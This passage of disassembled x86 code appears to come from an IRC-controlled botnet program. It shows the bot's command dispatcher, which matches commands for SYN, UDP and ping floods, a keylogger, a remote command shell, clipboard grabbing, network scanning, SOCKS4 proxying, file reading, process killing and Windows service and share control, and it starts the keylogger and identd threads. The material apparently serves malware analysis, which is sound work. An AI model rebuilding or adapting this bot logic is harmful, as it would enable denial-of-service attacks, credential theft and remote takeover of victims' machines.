lea eax, [ebp-0A0h]
push eax
call sub_41D800
lea eax, [ebp-0A0h]
push offset asc_43DAE4 ; ")"
push eax
call sub_41D6B0
add esp, 1Ch
cmp byte ptr [ebp-0A0h], 30h
jl short loc_403AD4
cmp byte ptr [ebp-0A0h], 39h
jle short loc_403AEA
loc_403AD4: ; CODE XREF: seg000:00403AC9j
push 3
lea eax, [ebp-0A0h]
push offset a63 ; "63"
push eax
call sub_41D800
add esp, 0Ch
loc_403AEA: ; CODE XREF: seg000:00403AD2j
lea eax, [ebp-0A0h]
push eax
call sub_41D560
test eax, eax
pop ecx
jle short loc_403B0D
lea eax, [ebp-0A0h]
push eax
call sub_41D560
pop ecx
mov [ebp-14h], al
jmp short loc_403B1E
; ---------------------------------------------------------------------------
loc_403B0D: ; CODE XREF: seg000:00403AF9j
call sub_41DBA0
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-14h], dl
loc_403B1E: ; CODE XREF: seg000:00403B0Bj
lea eax, [ebp-0A0h]
mov [ebp-13h], bl
push eax
call sub_41AC70
mov [ebp+10h], eax
push 0Ch
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_41D100
mov eax, [ebp+10h]
add eax, 6
push eax
lea eax, [ebp-0A0h]
push dword ptr [ebp+18h]
push eax
call sub_41D800
lea eax, [ebp-14h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4176D7
push edi
push dword ptr [ebp+8]
call sub_41DBE0
add esp, 30h
jmp loc_403A84
; ---------------------------------------------------------------------------
loc_403B79: ; CODE XREF: seg000:00403A86j
mov edi, 1FFh
lea eax, [ebp-0F9Ch]
push edi
push dword ptr [ebp+8]
push eax
call sub_41D800
lea eax, [ebp-0F9Ch]
push edi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_41D800
lea eax, [ebp-119Ch]
push offset asc_43DAEC ; " "
push eax
call sub_41D6B0
add esp, 20h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp+18h], 1Fh
loc_403BC9: ; CODE XREF: seg000:00403BDEj
push offset asc_43DAF0 ; " "
push ebx
call sub_41D6B0
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_403BC9
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
cmp ecx, ebx
jz loc_403498
add ecx, 3
mov [eax], ecx
loc_403BFB: ; CODE XREF: seg000:00403A0Cj
mov edi, [ebp+esi-94h]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+18h], edi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408412
push edi
push offset aRn ; "rn"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408412
push edi
push offset aDie ; "die"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4083F0
push edi
push offset aD_2 ; "d"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4083F0
push edi
push offset aLogout ; "logout"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408345
push edi
push offset aLo ; "lo"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408345
push edi
push offset aSocks4 ; "socks4"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408223
push edi
push offset aS4 ; "s4"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408223
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403CD6
push dword ptr [ebp+esi-90h]
push 19h
push offset aServer_1 ; "Server"
push offset aSocks4_0 ; "[SOCKS4]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403CD6: ; CODE XREF: seg000:00403CBCj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403CFF
push dword ptr [ebp+esi-90h]
push 9
push offset aServer_2 ; "Server"
push offset aRlogind ; "[RLOGIND]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403CFF: ; CODE XREF: seg000:00403CE5j
push edi
push offset aHttpstop ; "httpstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403D28
push dword ptr [ebp+esi-90h]
push 3
push offset aServer_3 ; "Server"
push offset aHttpd ; "[HTTPD]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403D28: ; CODE XREF: seg000:00403D0Ej
push edi
push offset aLogstop ; "logstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403D51
push dword ptr [ebp+esi-90h]
push 25h
push offset aLogList ; "Log list"
push offset aLog ; "[LOG]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403D51: ; CODE XREF: seg000:00403D37j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403D7A
push dword ptr [ebp+esi-90h]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset aRedirect ; "[REDIRECT]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403D7A: ; CODE XREF: seg000:00403D60j
push edi
push offset aDdos_stop ; "ddos.stop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403DA3
push dword ptr [ebp+esi-90h]
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset aDdos ; "[DDoS]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403DA3: ; CODE XREF: seg000:00403D89j
push edi
push offset aSynstop ; "synstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403DCC
push dword ptr [ebp+esi-90h]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset aSyn_0 ; "[SYN]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403DCC: ; CODE XREF: seg000:00403DB2j
push edi
push offset aUdpstop ; "udpstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403DF5
push dword ptr [ebp+esi-90h]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset aUpd ; "[UPD]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403DF5: ; CODE XREF: seg000:00403DDBj
push edi
push offset aPingstop ; "pingstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403E1E
push dword ptr [ebp+esi-90h]
push 16h
push offset aPingFlood ; "Ping flood"
push offset aPing_0 ; "[PING]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403E1E: ; CODE XREF: seg000:00403E04j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403E47
push dword ptr [ebp+esi-90h]
push 5
push offset aServer_4 ; "Server"
push offset aTftp_0 ; "[TFTP]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403E47: ; CODE XREF: seg000:00403E2Dj
push edi
push offset aProcsstop ; "procsstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081F4
push edi
push offset aPsstop ; "psstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081F4
push edi
push offset aClonestop ; "clonestop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403E9A
push dword ptr [ebp+esi-90h]
push 1Fh
push offset aClone ; "Clone"
push offset aClones ; "[CLONES]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403E9A: ; CODE XREF: seg000:00403E80j
push edi
push offset aSecurestop ; "securestop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403EC3
push dword ptr [ebp+esi-90h]
push 22h
push offset aSecure ; "Secure"
push offset aSecure_0 ; "[SECURE]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403EC3: ; CODE XREF: seg000:00403EA9j
push edi
push offset aScanstop ; "scanstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403EEC
push dword ptr [ebp+esi-90h]
push 0Bh
push offset aScan_0 ; "Scan"
push offset aScan_1 ; "[SCAN]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_403EEC: ; CODE XREF: seg000:00403ED2j
push edi
push offset aScanstats ; "scanstats"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081DE
push edi
push offset aStats ; "stats"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081DE
push edi
push offset aReconnect ; "reconnect"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081BD
push edi
push offset aR ; "r"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4081BD
push edi
push offset aDisconnect ; "disconnect"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40819B
push edi
push offset aDc ; "dc"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40819B
push edi
push offset aQuit_0 ; "quit"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408153
push edi
push offset aQ ; "q"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408153
push edi
push offset aStatus ; "status"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408115
push edi
push offset aS_0 ; "s"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408115
push edi
push offset aId ; "id"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4080DE
push edi
push offset aI_0 ; "i"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4080DE
push edi
push offset aReboot ; "reboot"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40403A
call sub_417BA1
test eax, eax
mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
jnz short loc_40400C
mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system."
loc_40400C: ; CODE XREF: seg000:00404005j
push eax
lea eax, [ebp-2C8h]
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 1Ch
jmp loc_4066B9
; ---------------------------------------------------------------------------
loc_40403A: ; CODE XREF: seg000:00403FF7j
push edi
push offset aThreads ; "threads"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407FED
push edi
push offset aT ; "t"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407FED
push edi
push offset aAliases ; "aliases"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407FCD
push edi
push offset aAl ; "al"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407FCD
push edi
push offset aLog990 ; "log990"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407EDD
push edi
push offset aLg909 ; "lg909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407EDD
push edi
push offset aClearlog ; "clearlog"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407EC1
push edi
push offset aClg ; "clg"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407EC1
push edi
push offset aNetinfo ; "netinfo"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E8A
push edi
push offset aNi ; "ni"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E8A
push edi
push offset aSysinfo ; "sysinfo"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E5F
push edi
push offset aSi ; "si"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E5F
push edi
push offset aR010m ; "r010m"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E25
push edi
push offset aR010m_0 ; "r010m"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407E25
push edi
push offset aProcs ; "procs"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407D02
push edi
push offset aPs ; "ps"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407D02
push edi
push offset aUptime90 ; "uptime90"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C7E
push edi
push offset aUp909 ; "up909"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C7E
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C61
push edi
push offset aDrv ; "drv"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C61
push edi
push offset aTestdlls ; "testdlls"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C48
push edi
push offset aDll ; "dll"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C48
push edi
push offset aOpencmd ; "opencmd"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C01
push edi
push offset aOcmd ; "ocmd"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407C01
push edi
push offset aCmdstop ; "cmdstop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40425B
push dword ptr [ebp+esi-90h]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset aCmd ; "[CMD]"
jmp loc_408207
; ---------------------------------------------------------------------------
loc_40425B: ; CODE XREF: seg000:00404241j
push edi
push offset aWho ; "who"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4042E8
cmp [ebp-8], ebx
jnz short loc_40428B
push ebx
push dword ptr [ebp-4]
push offset aLoginList ; "-[Login List]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_40428B: ; CODE XREF: seg000:0040426Fj
mov edi, [ebp+20h]
xor esi, esi
loc_404290: ; CODE XREF: seg000:004042D6j
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40429C
mov eax, offset aEmpty ; "<Empty>"
loc_40429C: ; CODE XREF: seg000:00404295j
push eax
push esi
lea eax, [ebp-2C8h]
push offset aD_S ; "%d. %s"
push eax
call sub_41D260
push 1
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 24h
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404290
push offset aMainLoginListC ; "[MAIN]: Login list complete."
loc_4042DD: ; CODE XREF: seg000:004080D9j
call sub_4161A7
pop ecx
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_4042E8: ; CODE XREF: seg000:0040426Aj
push edi
push offset aGetclip ; "getclip"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407BC0
push edi
push offset aGc ; "gc"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407BC0
push edi
push offset aFlusharp ; "flusharp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B95
push edi
push offset aFarp ; "farp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B95
push edi
push offset aFlushdns ; "flushdns"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B71
push edi
push offset aFdns ; "fdns"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B71
push edi
push offset aCurrentip ; "currentip"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B34
push edi
push offset aCip ; "cip"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407B34
push edi
push offset aRloginserver ; "rloginserver"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4079D8
push edi
push offset aRlogin ; "rlogin"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4079D8
push edi
push offset aHttpserver ; "httpserver"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407862
push edi
push offset aHttp ; "http"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407862
push edi
push offset aTftpserver ; "tftpserver"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407716
push edi
push offset aTftp ; "tftp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407716
push edi
push offset aScanall ; "scanall"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40741B
push edi
push offset aVall ; "vall"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40741B
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz loc_403498
push dword ptr [ebp+18h]
push offset aNick_0 ; "nick"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407402
push dword ptr [ebp+18h]
push offset aN ; "n"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407402
push dword ptr [ebp+18h]
push offset aJoin ; "join"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4073E2
push dword ptr [ebp+18h]
push offset aJ ; "j"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4073E2
push dword ptr [ebp+18h]
push offset aPart_1 ; "part"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4073C9
push dword ptr [ebp+18h]
push offset aPt ; "pt"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4073C9
push dword ptr [ebp+18h]
push offset aRaw ; "raw"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407392
push dword ptr [ebp+18h]
push offset aR_1 ; "r"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407392
push dword ptr [ebp+18h]
push offset aKillthread ; "killthread"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4072CF
push dword ptr [ebp+18h]
push offset aK ; "k"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4072CF
push dword ptr [ebp+18h]
push offset aC_quit ; "c_quit"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407224
push dword ptr [ebp+18h]
push offset aC_q ; "c_q"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407224
push dword ptr [ebp+18h]
push offset aC_rndnick ; "c_rndnick"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4071CD
push dword ptr [ebp+18h]
push offset aC_rn ; "c_rn"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4071CD
push dword ptr [ebp+18h]
push offset aPrefix ; "prefix"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4071B8
push dword ptr [ebp+18h]
push offset aPr ; "pr"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4071B8
push dword ptr [ebp+18h]
push offset aOpen ; "open"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40718E
push dword ptr [ebp+18h]
push offset aO ; "o"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40718E
push dword ptr [ebp+18h]
push offset aServer ; "server"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407169
push dword ptr [ebp+18h]
push offset aSe ; "se"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407169
push dword ptr [ebp+18h]
push offset aDns ; "dns"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4070F3
push dword ptr [ebp+18h]
push offset aDn ; "dn"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4070F3
push dword ptr [ebp+18h]
push offset aKillproc ; "killproc"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4070C7
push dword ptr [ebp+18h]
push offset aKp ; "kp"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4070C7
push dword ptr [ebp+18h]
push offset aKill ; "kill"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40706C
push dword ptr [ebp+18h]
push offset aKi ; "ki"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40706C
push dword ptr [ebp+18h]
push offset aDelete ; "delete"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407035
push dword ptr [ebp+18h]
push offset aDel ; "del"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_407035
push dword ptr [ebp+18h]
push offset aList ; "list"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40701A
push dword ptr [ebp+18h]
push offset aLi ; "li"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40701A
push dword ptr [ebp+18h]
push offset aMirccmd ; "mirccmd"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406FDF
push dword ptr [ebp+18h]
push offset aMirc ; "mirc"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406FDF
push dword ptr [ebp+18h]
push offset aCmd_0 ; "cmd"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406F94
push dword ptr [ebp+18h]
push offset aCm ; "cm"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406F94
push dword ptr [ebp+18h]
push offset aReadfile ; "readfile"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406F0F
push dword ptr [ebp+18h]
push offset aRf ; "rf"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_406F0F
push dword ptr [ebp+18h]
push offset aIdent ; "ident"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_404856
push edi
push offset aOn ; "on"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40481E
push 2
call sub_408F87
test eax, eax
pop ecx
jle short loc_4047C1
push offset aIdentAlreadyRu ; "[IDENT]: Already running."
jmp loc_407727
; ---------------------------------------------------------------------------
loc_4047C1: ; CODE XREF: seg000:004047B5j
lea eax, [ebp-2C8h]
push offset aIdentdServerRu ; "[IDENTD]: Server running on Port: 113."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 2
push eax
call sub_408D3F
add esp, 14h
mov esi, eax
lea eax, [ebp-10h]
push eax
push ebx
push esi
push offset sub_411539
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4523CC[esi], eax
jnz loc_406698
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aIdentdFailedTo ; "[IDENTD]: Failed to start server, error"...
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_40481E: ; CODE XREF: seg000:004047A9j
push edi
push offset aOff ; "off"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_406698
push ebx
push 2
call sub_408F3A
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40484C
push eax
push offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "...
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_40484C: ; CODE XREF: seg000:0040483Fj
push offset aIdentNoThreadF ; "[IDENT]: No thread found."
jmp loc_407727
; ---------------------------------------------------------------------------
loc_404856: ; CODE XREF: seg000:00404794j
push dword ptr [ebp+18h]
push offset aKeylog ; "keylog"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4049CD
push edi
push offset aOn_0 ; "on"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4048C7
push edi
push offset aFile ; "file"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4048C7
push edi
push offset aOff_0 ; "off"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_406698
push ebx
push 23h
call sub_408F3A
pop ecx
cmp eax, ebx
pop ecx
jle short loc_4048BD
push eax
push offset aKeylogKeyLogge ; "[KEYLOG]: Key logger stopped. (%d threa"...
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_4048BD: ; CODE XREF: seg000:004048B0j
push offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found."
jmp loc_407727
; ---------------------------------------------------------------------------
loc_4048C7: ; CODE XREF: seg000:0040487Cj
; seg000:0040488Dj
push 23h
call sub_408F87
test eax, eax
pop ecx
jle short loc_4048DD
push offset aKeylogAlreadyR ; "[KEYLOG]: Already running."
jmp loc_407727
; ---------------------------------------------------------------------------
loc_4048DD: ; CODE XREF: seg000:004048D1j
mov eax, [ebp+0Ch]
push edi
mov [ebp-4DCh], eax
mov eax, [ebp-4]
push offset aFile_0 ; "file"
mov [ebp-454h], eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40490C
mov dword ptr [ebp-450h], 1
jmp short loc_404915
; ---------------------------------------------------------------------------
loc_40490C: ; CODE XREF: seg000:004048FEj
mov eax, [ebp-8]
mov [ebp-450h], eax
loc_404915: ; CODE XREF: seg000:0040490Aj
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jnz short loc_40493C
mov esi, offset a143_0 ; "#143#"
push offset dword_4DF354
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40493C
mov esi, [ebp-8Ch]
loc_40493C: ; CODE XREF: seg000:0040491Ej
; seg000:00404934j
push esi
lea eax, [ebp-4D4h]
push 80h
push eax
call sub_41D360
lea eax, [ebp-2C8h]
push offset aKeylogKeyLog_0 ; "[KEYLOG]: Key logger active."
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 23h
push eax
call sub_408D3F
add esp, 20h
mov [ebp-4D8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset sub_413061
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-4D8h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4049BC
loc_4049A6: ; CODE XREF: seg000:004049BAj
cmp [ebp-44Ch], ebx
jnz loc_406698
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4049A6
; ---------------------------------------------------------------------------
loc_4049BC: ; CODE XREF: seg000:004049A4j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"...
jmp loc_4083DC
; ---------------------------------------------------------------------------
loc_4049CD: ; CODE XREF: seg000:00404867j
push dword ptr [ebp+18h]
push offset aNet ; "net"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_404CB9
cmp ds:dword_4515C0, ebx
jz short loc_4049FE
cmp ds:dword_4515E8, ebx
jz short loc_4049FE
push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"...
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_4049FE: ; CODE XREF: seg000:004049EAj
; seg000:004049F2j
cmp [ebp-0Ch], ebx
jz loc_4068F2
mov eax, [ebp+esi-8Ch]
mov [ebp+8], ebx
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_404A26
push eax
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
mov [ebp+8], eax
pop ecx
loc_404A26: ; CODE XREF: seg000:00404A16j
push edi
push offset aStart ; "start"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404A8C
cmp [ebp+20h], ebx
jz short loc_404A60
push dword ptr [ebp+8]
push 3
call sub_41805B
push eax
push offset aS_1 ; "%s"
loc_404A4C: ; CODE XREF: seg000:00404AADj
; seg000:00404AD0j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 14h
jmp loc_4068F2
; ---------------------------------------------------------------------------
loc_404A60: ; CODE XREF: seg000:00404A3Aj
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_418302
add esp, 0Ch
test eax, eax
jz short loc_404A82
push offset aNetServiceList ; "[NET]: Service list completed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404A82: ; CODE XREF: seg000:00404A76j
push offset aNetServiceLi_0 ; "[NET]: Service list failed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
loc_404A8C: ; CODE XREF: seg000:00404A35j
push edi
push offset aStop ; "stop"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404AAF
push dword ptr [ebp+8]
push 4
call sub_41805B
push eax
push offset aS_2 ; "%s"
jmp short loc_404A4C
; ---------------------------------------------------------------------------
loc_404AAF: ; CODE XREF: seg000:00404A9Bj
push edi
push offset aPause ; "pause"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404AD5
push dword ptr [ebp+8]
push 5
call sub_41805B
push eax
push offset aS_3 ; "%s"
jmp loc_404A4C
; ---------------------------------------------------------------------------
loc_404AD5: ; CODE XREF: seg000:00404ABEj
push edi
push offset aContinue ; "continue"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404AFB
push dword ptr [ebp+8]
push 6
call sub_41805B
push eax
push offset aS_4 ; "%s"
jmp loc_404A4C
; ---------------------------------------------------------------------------
loc_404AFB: ; CODE XREF: seg000:00404AE4j
push edi
push offset aDelete_0 ; "delete"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404B21
push dword ptr [ebp+8]
push 1
call sub_41805B
push eax
push offset aS_5 ; "%s"
jmp loc_404A4C
; ---------------------------------------------------------------------------
loc_404B21: ; CODE XREF: seg000:00404B0Aj
push edi
push offset aShare ; "share"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_404BA9
cmp [ebp+20h], ebx
jz short loc_404B7C
cmp [ebp-9B0h], bl
jz short loc_404B52
push ebx
push dword ptr [ebp+20h]
push 1
call sub_41843F
push eax
push offset aS_6 ; "%s"
jmp short loc_404B68
; ---------------------------------------------------------------------------
loc_404B52: ; CODE XREF: seg000:00404B3Dj
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push ebx
call sub_41843F
push eax
push offset aS_7 ; "%s"
loc_404B68: ; CODE XREF: seg000:00404B50j
lea eax, [ebp-2C8h]
push eax
call sub_41D260
add esp, 18h
jmp loc_4068F2
; ---------------------------------------------------------------------------
loc_404B7C: ; CODE XREF: seg000:00404B35j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_418634
add esp, 10h
test eax, eax
jz short loc_404B9F
push offset aNetShareListCo ; "[NET]: Share list completed."
jmp loc_4068E4
; ---------------------------------------------------------------------------
